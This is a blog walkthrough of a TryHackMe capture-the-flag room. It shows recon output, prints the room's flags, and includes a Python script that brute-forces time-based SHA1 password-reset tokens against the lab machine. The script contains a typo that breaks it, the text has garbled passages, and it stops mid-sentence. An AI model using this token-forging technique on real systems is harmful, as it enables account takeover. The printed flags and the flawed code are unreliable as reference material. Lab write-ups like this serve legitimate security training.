DEATHESTHER
← All write-ups

TRYHACKME WRITE-UP

Clocky - TryHackMe writeup

Time is an illusion.

Info5 min read

Open the room on TryHackMe ↗ View on GitHub

Introduction

fb credt host code hosted site admin loginimage

Initial Reconnaissance

I started with a basic nmap scan to understand what services were exposed on the target.

~$ nmap -sV 10.49.166.98
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-07 19:03 IST
Nmap scan report for 10.49.166.98
Host is up (0.084s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41
8000/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: Host: ip-10-49-166-98.ap-south-1.compute.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are 3 ports open.

Web Enumeration

I also checked both web services directly in the browser since ports 80 and 8000 were open.

I started with port 80.

image

The Apache service responded with a forbidden page. Nothing useful surfaced there.

Next, I peeked into port 8000.

image

Sadly, this one also returned a forbidden response. Both services were accessible but clearly locked down at the surface level.

Since both port 80 and 8000 were serving HTTP, I began with the Apache service on port 80.

~$ dirsearch -u 10.49.166.98

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460


Target: http://10.49.166.98/

[19:06:40] Starting: 

Task Completed

Nothing interesting showed up on port 80, so I shifted focus to the nginx service running on port 8000.

~$ dirsearch -u 10.49.166.98:8000

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460


Target: http://10.49.166.98:8000/

[19:07:06] Starting: 
[19:07:35] 200 -    2KB - /index.zip
[19:07:47] 200 -  115B  - /robots.txt

Task Completed

Two endpoints immediately stood out: /index.zip and /robots.txt.

I checked the robots file first.

curl -s http://10.49.166.98:8000/robots.txt

We got our first flag here

~$ curl -s http://10.49.166.98:8000/robots.txt
User-agent: *
Disallow: /*.sql$
Disallow: /*.zip$
Disallow: /*.bak$

Flag 1: THM{14b45bb9eefdb584b79063eca6a31b7a}
~$ 

Next, I moved on to the zip file exposed on the same port.

~$ wget http://10.49.166.98:8000/index.zip
~$ unzip index.zip 
Archive:  index.zip
  inflating: app.py                  
 extracting: flag2.txt               

After unzipping, we got our second flag

~$ cat flag2.txt
THM{1d3d62de34a3692518d03ec474159eaf}

That confirmed the second flag.

as we got app.py Source code analysis and port 8080 exploitation

it returns current date and time of the server.

first while casually inspecting the code I found two username jane and clarice

# A new app will be deployed in prod soon
# Implement rate limiting on all endpoints
# Let's just use a WAF...?
# Not done (16/05-2023, jane)

Turns out that’s the code for site on port 8080 - we’ve discovered few endpoints

/password_reset /forgot_password and we got database credentials

At the end of the python file was the port on which this application was run.

Let see the application hostesd on 8080

as i check code

/administrator - admin panel with login form this is a login portal on “/administrator” which checks if the username and password are correct and if they are then it redirects to “/dashboard” else it returns the Invalid username or password this is the application hosted on port 8080 as i got to this http://10.49.166.98:8080/administrator there is admin login page

at http://10.49.166.98:8080/forgot_password This is the interesting one. We can see that this endpoint has a simple form that takes a username. If the username exists, a special token is generated for this user. We get a message saying “A reset link has been sent to your email” even if the user doesn’t exist, so we can’t enumerate usernames by abusing this. We will come back to this code in a little bit. This is an interesting one, it generates Sha1 tokens for resetting the password of a user and it is does not include any randomness to generate the token since we can control the time at which the token is generated. /password_reset

I wrote a script with the help of chatGPT to generate tokens and save in a file.

import datetime
import hashlib

IST_OFFSET = datetime.timedelta(hours=5, minutes=30)
USERNAME = "administrator"
OUTPUT_FILE = f"{USERNAME}.txt"

def generate_hashes(username):
    base_time = datetime.datetime.now(datetime.timezone.utc) - IST_OFFSET
    hashes = set()

    for sec insrange(10):
        for ms in range(1000):
            ts = base_time - datetime.timedelta(seconds=sec, milliseconds=ms)
            payload = f"{ts:%Y-%m-%d %H:%M:%S.%f} . {username.upper()}"
            sha1 = hashlib.sha1(payload.encode()).hexdigest()
            hashes.add(sha1)

    return hashes

def save_to_file(filename, hashes):
    with open(filename, "w") as f:
        f.write("\n".join(hashes))

def main():
    hashes = generate_hashes(USERNAME)
    save_to_file(OUTPUT_FILE, hashes)

if __name__ == "__main__":
    main()

This endpoint handles the password reset itself. We can see that the token that was generated previously is expected to be passed as a URL parameter called TEMPORARY (which might not be the name in use now). Then, the code checks the database and if the tokens match, a password_reset.html page is rendered.

So, to summarize A user asks for a password reset, and a link is sent to him via email, which probably looks like this: http://http://10.49.166.98:8080/password_reset?TEMPORARY= . If the tokens match, the page is rendered and the user can reset the password.

Ok so after running script